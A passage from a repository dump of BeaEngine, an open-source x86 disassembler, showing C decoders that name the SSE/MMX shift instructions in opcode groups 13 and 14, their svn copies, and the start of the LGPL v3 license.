= Arg1dqword; 75 | GV.SSE_ = 1; 76 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 77 | GV.SSE_ = 0; 78 | if (GV.MOD_== 0x3) { 79 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); 80 | } 81 | else { 82 | FailDecode(pMyDisasm); 83 | } 84 | GV.EIP_ += GV.DECALAGE_EIP+3; 85 | if (!Security(0, pMyDisasm)) return; 86 | GV.ImmediatSize = 8; 87 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 88 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 89 | (*pMyDisasm).Instruction.Immediat = MyNumber; 90 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 91 | (*pMyDisasm).Argument2.ArgSize = 8; 92 | } 93 | else { 94 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 95 | GV.MemDecoration = Arg1qword; 96 | GV.MMX_ = 1; 97 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 98 | GV.MMX_ = 0; 99 | if (GV.MOD_== 0x3) { 100 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); 101 | } 102 | else { 103 | FailDecode(pMyDisasm); 104 | } 105 | GV.EIP_ += GV.DECALAGE_EIP+3; 106 | if (!Security(0, pMyDisasm)) return; 107 | GV.ImmediatSize = 8; 108 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 109 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 110 | (*pMyDisasm).Instruction.Immediat = MyNumber; 111 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 112 | (*pMyDisasm).Argument2.ArgSize = 8; 113 | } 114 | 115 | } 116 | else if (GV.REGOPCODE == 6) { 117 | if (GV.OperandSize == 16) { 118 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 119 | GV.MemDecoration = Arg1dqword; 120 | GV.SSE_ = 1; 121 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 122 | GV.SSE_ = 0; 123 | if (GV.MOD_== 0x3) { 124 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); 125 | } 126 | else { 127 | FailDecode(pMyDisasm); 128 | } 129 | GV.EIP_ += GV.DECALAGE_EIP+3; 130 | if (!Security(0, pMyDisasm)) return; 131 | GV.ImmediatSize = 8; 132 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 133 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 134 | (*pMyDisasm).Instruction.Immediat = MyNumber; 135 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 136 | (*pMyDisasm).Argument2.ArgSize = 8; 137 | } 138 | else { 139 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 140 | GV.MemDecoration = Arg1qword; 141 | GV.MMX_ = 1; 142 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 143 | GV.MMX_ = 0; 144 | if (GV.MOD_== 0x3) { 145 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); 146 | } 147 | else { 148 | FailDecode(pMyDisasm); 149 | } 150 | GV.EIP_ += GV.DECALAGE_EIP+3; 151 | if (!Security(0, pMyDisasm)) return; 152 | GV.ImmediatSize = 8; 153 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 154 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 155 | (*pMyDisasm).Instruction.Immediat = MyNumber; 156 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 157 | (*pMyDisasm).Argument2.ArgSize = 8; 158 | } 159 | } 160 | 161 | else { 162 | FailDecode(pMyDisasm); 163 | } 164 | 165 | } 166 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp13.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G13_(PDISASM pMyDisasm) 23 | { 24 | long MyNumber; 25 | 26 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 27 | if (GV.REGOPCODE == 2) { 28 | if (GV.OperandSize == 16) { 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 30 | GV.MemDecoration = Arg1dqword; 31 | GV.SSE_ = 1; 32 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 33 | GV.SSE_ = 0; 34 | if (GV.MOD_== 0x3) { 35 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); 36 | } 37 | else { 38 | FailDecode(pMyDisasm); 39 | } 40 | GV.EIP_ += GV.DECALAGE_EIP+3; 41 | if (!Security(0, pMyDisasm)) return; 42 | GV.ImmediatSize = 8; 43 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 44 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 45 | (*pMyDisasm).Instruction.Immediat = MyNumber; 46 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 47 | (*pMyDisasm).Argument2.ArgSize = 8; 48 | } 49 | else { 50 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 51 | GV.MemDecoration = Arg1qword; 52 | GV.MMX_ = 1; 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | GV.MMX_ = 0; 55 | if (GV.MOD_== 0x3) { 56 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | GV.EIP_ += GV.DECALAGE_EIP+3; 62 | if (!Security(0, pMyDisasm)) return; 63 | GV.ImmediatSize = 8; 64 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 65 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 66 | (*pMyDisasm).Instruction.Immediat = MyNumber; 67 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 68 | (*pMyDisasm).Argument2.ArgSize = 8; 69 | } 70 | } 71 | else if (GV.REGOPCODE == 4) { 72 | if (GV.OperandSize == 16) { 73 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 74 | GV.MemDecoration = Arg1dqword; 75 | GV.SSE_ = 1; 76 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 77 | GV.SSE_ = 0; 78 | if (GV.MOD_== 0x3) { 79 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); 80 | } 81 | else { 82 | FailDecode(pMyDisasm); 83 | } 84 | GV.EIP_ += GV.DECALAGE_EIP+3; 85 | if (!Security(0, pMyDisasm)) return; 86 | GV.ImmediatSize = 8; 87 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 88 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 89 | (*pMyDisasm).Instruction.Immediat = MyNumber; 90 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 91 | (*pMyDisasm).Argument2.ArgSize = 8; 92 | } 93 | else { 94 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 95 | GV.MemDecoration = Arg1qword; 96 | GV.MMX_ = 1; 97 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 98 | GV.MMX_ = 0; 99 | if (GV.MOD_== 0x3) { 100 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); 101 | } 102 | else { 103 | FailDecode(pMyDisasm); 104 | } 105 | GV.EIP_ += GV.DECALAGE_EIP+3; 106 | if (!Security(0, pMyDisasm)) return; 107 | GV.ImmediatSize = 8; 108 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 109 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 110 | (*pMyDisasm).Instruction.Immediat = MyNumber; 111 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 112 | (*pMyDisasm).Argument2.ArgSize = 8; 113 | } 114 | 115 | } 116 | else if (GV.REGOPCODE == 6) { 117 | if (GV.OperandSize == 16) { 118 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 119 | GV.MemDecoration = Arg1dqword; 120 | GV.SSE_ = 1; 121 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 122 | GV.SSE_ = 0; 123 | if (GV.MOD_== 0x3) { 124 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); 125 | } 126 | else { 127 | FailDecode(pMyDisasm); 128 | } 129 | GV.EIP_ += GV.DECALAGE_EIP+3; 130 | if (!Security(0, pMyDisasm)) return; 131 | GV.ImmediatSize = 8; 132 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 133 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 134 | (*pMyDisasm).Instruction.Immediat = MyNumber; 135 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 136 | (*pMyDisasm).Argument2.ArgSize = 8; 137 | } 138 | else { 139 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 140 | GV.MemDecoration = Arg1qword; 141 | GV.MMX_ = 1; 142 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 143 | GV.MMX_ = 0; 144 | if (GV.MOD_== 0x3) { 145 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); 146 | } 147 | else { 148 | FailDecode(pMyDisasm); 149 | } 150 | GV.EIP_ += GV.DECALAGE_EIP+3; 151 | if (!Security(0, pMyDisasm)) return; 152 | GV.ImmediatSize = 8; 153 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 154 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 155 | (*pMyDisasm).Instruction.Immediat = MyNumber; 156 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 157 | (*pMyDisasm).Argument2.ArgSize = 8; 158 | } 159 | } 160 | 161 | else { 162 | FailDecode(pMyDisasm); 163 | } 164 | 165 | } 166 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp14.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G14_(PDISASM pMyDisasm) 23 | { 24 | long MyNumber; 25 | 26 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 27 | if (GV.REGOPCODE == 2) { 28 | if (GV.OperandSize == 16) { 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 30 | GV.MemDecoration = Arg1dqword; 31 | GV.SSE_ = 1; 32 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 33 | GV.SSE_ = 0; 34 | if (GV.MOD_== 0x3) { 35 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); 36 | } 37 | else { 38 | FailDecode(pMyDisasm); 39 | } 40 | GV.EIP_ += GV.DECALAGE_EIP+3; 41 | if (!Security(0, pMyDisasm)) return; 42 | GV.ImmediatSize = 8; 43 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 44 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 45 | (*pMyDisasm).Instruction.Immediat = MyNumber; 46 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 47 | (*pMyDisasm).Argument2.ArgSize = 8; 48 | } 49 | else { 50 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 51 | GV.MemDecoration = Arg1qword; 52 | GV.MMX_ = 1; 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | GV.MMX_ = 0; 55 | if (GV.MOD_== 0x3) { 56 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | GV.EIP_ += GV.DECALAGE_EIP+3; 62 | if (!Security(0, pMyDisasm)) return; 63 | GV.ImmediatSize = 8; 64 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 65 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 66 | (*pMyDisasm).Instruction.Immediat = MyNumber; 67 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 68 | (*pMyDisasm).Argument2.ArgSize = 8; 69 | } 70 | } 71 | else if (GV.REGOPCODE == 3) { 72 | if (GV.OperandSize == 16) { 73 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 74 | GV.MemDecoration = Arg1dqword; 75 | GV.SSE_ = 1; 76 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 77 | GV.SSE_ = 0; 78 | if (GV.MOD_== 0x3) { 79 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrldq "); 80 | } 81 | else { 82 | FailDecode(pMyDisasm); 83 | } 84 | GV.EIP_ += GV.DECALAGE_EIP+3; 85 | if (!Security(0, pMyDisasm)) return; 86 | GV.ImmediatSize = 8; 87 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 88 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 89 | (*pMyDisasm).Instruction.Immediat = MyNumber; 90 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 91 | (*pMyDisasm).Argument2.ArgSize = 8; 92 | } 93 | else { 94 | FailDecode(pMyDisasm); 95 | } 96 | 97 | } 98 | else if (GV.REGOPCODE == 6) { 99 | if (GV.OperandSize == 16) { 100 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 101 | GV.MemDecoration = Arg1dqword; 102 | GV.SSE_ = 1; 103 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 104 | GV.SSE_ = 0; 105 | if (GV.MOD_== 0x3) { 106 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); 107 | } 108 | else { 109 | FailDecode(pMyDisasm); 110 | } 111 | GV.EIP_ += GV.DECALAGE_EIP+3; 112 | if (!Security(0, pMyDisasm)) return; 113 | GV.ImmediatSize = 8; 114 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 115 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 116 | (*pMyDisasm).Instruction.Immediat = MyNumber; 117 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 118 | (*pMyDisasm).Argument2.ArgSize = 8; 119 | } 120 | else { 121 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 122 | GV.MemDecoration = Arg1qword; 123 | GV.MMX_ = 1; 124 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 125 | GV.MMX_ = 0; 126 | if (GV.MOD_== 0x3) { 127 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); 128 | } 129 | else { 130 | FailDecode(pMyDisasm); 131 | } 132 | GV.EIP_ += GV.DECALAGE_EIP+3; 133 | if (!Security(0, pMyDisasm)) return; 134 | GV.ImmediatSize = 8; 135 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 136 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 137 | (*pMyDisasm).Instruction.Immediat = MyNumber; 138 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 139 | (*pMyDisasm).Argument2.ArgSize = 8; 140 | } 141 | } 142 | else if (GV.REGOPCODE == 7) { 143 | if (GV.OperandSize == 16) { 144 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 145 | GV.MemDecoration = Arg1dqword; 146 | GV.SSE_ = 1; 147 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 148 | GV.SSE_ = 0; 149 | if (GV.MOD_== 0x3) { 150 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslldq "); 151 | } 152 | else { 153 | FailDecode(pMyDisasm); 154 | } 155 | GV.EIP_ += GV.DECALAGE_EIP+3; 156 | if (!Security(0, pMyDisasm)) return; 157 | GV.ImmediatSize = 8; 158 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 159 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 160 | (*pMyDisasm).Instruction.Immediat = MyNumber; 161 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 162 | (*pMyDisasm).Argument2.ArgSize = 8; 163 | } 164 | else { 165 | FailDecode(pMyDisasm); 166 | } 167 | 168 | } 169 | else { 170 | FailDecode(pMyDisasm); 171 | } 172 | 173 | } 174 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp14.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G14_(PDISASM pMyDisasm) 23 | { 24 | long MyNumber; 25 | 26 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 27 | if (GV.REGOPCODE == 2) { 28 | if (GV.OperandSize == 16) { 29 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 30 | GV.MemDecoration = Arg1dqword; 31 | GV.SSE_ = 1; 32 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 33 | GV.SSE_ = 0; 34 | if (GV.MOD_== 0x3) { 35 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); 36 | } 37 | else { 38 | FailDecode(pMyDisasm); 39 | } 40 | GV.EIP_ += GV.DECALAGE_EIP+3; 41 | if (!Security(0, pMyDisasm)) return; 42 | GV.ImmediatSize = 8; 43 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 44 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 45 | (*pMyDisasm).Instruction.Immediat = MyNumber; 46 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 47 | (*pMyDisasm).Argument2.ArgSize = 8; 48 | } 49 | else { 50 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 51 | GV.MemDecoration = Arg1qword; 52 | GV.MMX_ = 1; 53 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 54 | GV.MMX_ = 0; 55 | if (GV.MOD_== 0x3) { 56 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); 57 | } 58 | else { 59 | FailDecode(pMyDisasm); 60 | } 61 | GV.EIP_ += GV.DECALAGE_EIP+3; 62 | if (!Security(0, pMyDisasm)) return; 63 | GV.ImmediatSize = 8; 64 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 65 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 66 | (*pMyDisasm).Instruction.Immediat = MyNumber; 67 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 68 | (*pMyDisasm).Argument2.ArgSize = 8; 69 | } 70 | } 71 | else if (GV.REGOPCODE == 3) { 72 | if (GV.OperandSize == 16) { 73 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 74 | GV.MemDecoration = Arg1dqword; 75 | GV.SSE_ = 1; 76 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 77 | GV.SSE_ = 0; 78 | if (GV.MOD_== 0x3) { 79 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrldq "); 80 | } 81 | else { 82 | FailDecode(pMyDisasm); 83 | } 84 | GV.EIP_ += GV.DECALAGE_EIP+3; 85 | if (!Security(0, pMyDisasm)) return; 86 | GV.ImmediatSize = 8; 87 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 88 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 89 | (*pMyDisasm).Instruction.Immediat = MyNumber; 90 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 91 | (*pMyDisasm).Argument2.ArgSize = 8; 92 | } 93 | else { 94 | FailDecode(pMyDisasm); 95 | } 96 | 97 | } 98 | else if (GV.REGOPCODE == 6) { 99 | if (GV.OperandSize == 16) { 100 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 101 | GV.MemDecoration = Arg1dqword; 102 | GV.SSE_ = 1; 103 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 104 | GV.SSE_ = 0; 105 | if (GV.MOD_== 0x3) { 106 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); 107 | } 108 | else { 109 | FailDecode(pMyDisasm); 110 | } 111 | GV.EIP_ += GV.DECALAGE_EIP+3; 112 | if (!Security(0, pMyDisasm)) return; 113 | GV.ImmediatSize = 8; 114 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 115 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 116 | (*pMyDisasm).Instruction.Immediat = MyNumber; 117 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 118 | (*pMyDisasm).Argument2.ArgSize = 8; 119 | } 120 | else { 121 | (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; 122 | GV.MemDecoration = Arg1qword; 123 | GV.MMX_ = 1; 124 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 125 | GV.MMX_ = 0; 126 | if (GV.MOD_== 0x3) { 127 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); 128 | } 129 | else { 130 | FailDecode(pMyDisasm); 131 | } 132 | GV.EIP_ += GV.DECALAGE_EIP+3; 133 | if (!Security(0, pMyDisasm)) return; 134 | GV.ImmediatSize = 8; 135 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 136 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 137 | (*pMyDisasm).Instruction.Immediat = MyNumber; 138 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 139 | (*pMyDisasm).Argument2.ArgSize = 8; 140 | } 141 | } 142 | else if (GV.REGOPCODE == 7) { 143 | if (GV.OperandSize == 16) { 144 | (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHIFT_ROTATE; 145 | GV.MemDecoration = Arg1dqword; 146 | GV.SSE_ = 1; 147 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 148 | GV.SSE_ = 0; 149 | if (GV.MOD_== 0x3) { 150 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslldq "); 151 | } 152 | else { 153 | FailDecode(pMyDisasm); 154 | } 155 | GV.EIP_ += GV.DECALAGE_EIP+3; 156 | if (!Security(0, pMyDisasm)) return; 157 | GV.ImmediatSize = 8; 158 | MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_-1)); 159 | (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); 160 | (*pMyDisasm).Instruction.Immediat = MyNumber; 161 | (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; 162 | (*pMyDisasm).Argument2.ArgSize = 8; 163 | } 164 | else { 165 | FailDecode(pMyDisasm); 166 | } 167 | 168 | } 169 | else { 170 | FailDecode(pMyDisasm); 171 | } 172 | 173 | } 174 | -------------------------------------------------------------------------------- /beaengineSources/COPYING.LESSER.txt: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | 9 | This version of the GNU Lesser General Public License incorporates 10 | the terms and conditions of version 3 of the GNU General Public 11 | License, supplemented by the additional permissions listed below. 12 | 13 | 0. Additional Definitions. 14 | 15 | As used herein, "this License" refers to version 3 of the GNU Lesser 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 17 | General Public License. 18 | 19 | "The Library" refers to a covered work governed by this License, 20 | other than an Application or a Combined Work as defined below. 21 | 22 | An "Application" is any work that makes use of an interface provided 23 | by the Library, but which is not otherwise based on the Library. 24 | Defining a subclass of a class defined by the Library is deemed a mode 25 | of using an interface provided by the Library. 26 | 27 | A "Combined Work" is a work produced by combining or linking an 28 | Application with the Library. The particular version of the Library 29 | with which the Combined Work was made is also called the "Linked 30 | Version". 31 | 32 | The "Minimal Corresponding Source" for a Combined Work means the 33 | Corresponding Source for the Combined Work, excluding any source code 34 | for portions of the Combined Work that, considered in isolation, are 35 | based on the Application, and not on the Linked Version. 36 | 37 | The "Corresponding Application Code" for a Combined Work means the 38 | object code and/or source code for the Application, including any data 39 | and utility programs needed for reproducing the Combined Work from the 40 | Application, but excluding the System Libraries of the Combined Work. 41 | 42 | 1. Exception to Section 3 of the GNU GPL. 43 | 44 | You may convey a covered work under sections 3 and 4 of this License 45 | without being bound by section 3 of the GNU GPL. 46 | 47 | 2. Conveying Modified Versions. 48 | 49 | If you modify a copy of the Library, and, in your modifications, a 50 | facility refers to a function or data to be supplied by an Application 51 | that uses the facility (other than as an argument passed when the 52 | facility is invoked), then you may convey a copy of the modified 53 | version: 54 | 55 | a) under this License, provided that you make a good faith effort to 56 | ensure that, in the event an Application does not supply the 57 | function or data, the facility still operates, and performs 58 | whatever part of its purpose remains meaningful, or 59 | 60 | b) under the GNU GPL, with none of the additional permissions of 61 | this License applicable to that copy. 62 | 63 | 3. Object Code 